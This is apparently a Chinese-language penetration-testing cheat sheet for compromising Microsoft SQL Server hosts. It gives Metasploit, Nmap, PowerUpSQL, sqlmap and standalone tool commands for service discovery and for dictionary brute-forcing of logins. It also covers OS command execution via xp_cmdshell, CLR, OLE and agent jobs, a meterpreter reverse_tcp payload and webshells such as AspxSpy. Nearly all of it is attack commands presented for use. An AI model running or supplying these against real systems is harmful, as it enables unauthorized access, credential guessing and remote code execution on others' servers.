服务发现
比较常用的一些
MetaSploit:
msf > use auxiliary/scanner/mssql/mssql_ping
Nmap:
nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156
PowerUpSQL:
Get-SQLInstanceDomain -Verbose | Get-SQLServerInfo -Verbose Get-SQLInstanceLocal -Verbose | Get-SQLServerInfo -Verbose Get-SQLServerInfo -Verbose -Instance "SQLSERVER1\MYINSTANCE" Get-SQLServerInfo -Verbose -Instance "SQLSERVER1\MYINSTANCE" -Username MyUser -Password MyPassword Get-SQLServerInfo -Verbose -Instance "SQLSERVER1\MYINSTANCE" -Credential MyUser
F-NAScan:
python NAScan.py -h 192.168.1 -p 1433
用Pyinstaller打包成exe也挺好用的
其他:
一些连接工具的服务发现功能,例如:Microsoft SQL Server Management Studio的"Browse for More"功能
枚举
利用其他途径收集到的用户密码组合成字典来对域内的MSSQL机器进行枚举,效果事半功倍
MetaSploit:
msf > use auxiliary/admin/mssql/mssql_enum msf > use auxiliary/scanner/mssql/mssql_login
设置好 PASS_FILE
和 RHOSTS
就行了
Nmap:
nmap -p 445 --script ms-sql-brute --script-args mssql.instance-all,userdb=user.txt,passdb=pass.txt 192.168.1.1 nmap -p 1433 --script ms-sql-brute --script-args userdb=user.txt,passdb=pass.txt 192.168.1.1
PowerUpSQL:
Invoke-SQLAuditWeakLoginPw
FScrack:
python FScrack.py -h 192.168.1 -p 1433 -d pass.txt
打包成exe同样很方便
Scansql:
比较喜欢用的一个1433多线程批量爆破工具,速度贼快、效率贼6
Usage: scansql.exe startIP <endIP> <Thread> Example: scansql.exe 192.168.0.1 192.168.0.254 scansql.exe 192.168.0.1 192.168.0.254 100
利用
MetaSploit:
msf > auxiliary/admin/mssql/mssql_exec #xp_cmdshell执行系统命令 msf > auxiliary/admin/mssql/mssql_sql #SQL查询
反弹
msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
Nmap:
nmap -p 445 --script ms-sql-discover,ms-sql-empty-password,ms-sql-xp-cmdshell 192.168.1.1 nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="whoami" 192.168.1.1
执行指定命令,可以通过SMB协议或者MSSQL来执行
PowerUpSQL:
Invoke-SQLImpersonateServiceCmd #通过xp_cmdshell执行系统命令 Invoke-SQLOSCmd #通过CLR执行系统命令 Invoke-SQLOSCmdOle #通过Ole Automation Procedures执行系统命令 Invoke-SQLOSCmdR #通过外部脚本执行系统命令 Invoke-SQLOSCmdPython #利用Python通过外部脚本执行系统命令 Invoke-SQLOSCmdAgentJob #通过AgentJobs(CMDExec, PowerShell, ActiveX:JScript, and ActiveX:VBScript)执行系统命令
都需要sysadmin权限,参考: https://github.com/NetSPI/PowerUpSQL/wiki/Primary-Attack-Functions
SqlMap:
通过 DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
(MySQL, Oracle, Microsoft SQL Server, PostgreSQL等)或者 DBMS://DATABASE_FILEPATH
(SQLite, Microsoft Access, Firebird等)连接数据库进行操作
python sqlmap.py -d "DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME"
注释
dbms:所使用的数据库 user:数据库用户 password:数据库密码 dbma_IP:数据库服务器ip地址 dbms_PORT:数据服务器端口 database_NAME:所使用的数据库名
脚本及其他:
各种webshell...如:AspxSpy 数据库连接工具
先写这么多吧。。。
注:本文内容来自互联网,旨在为开发者提供分享、交流的平台。如有涉及文章版权等事宜,请你联系站长进行处理。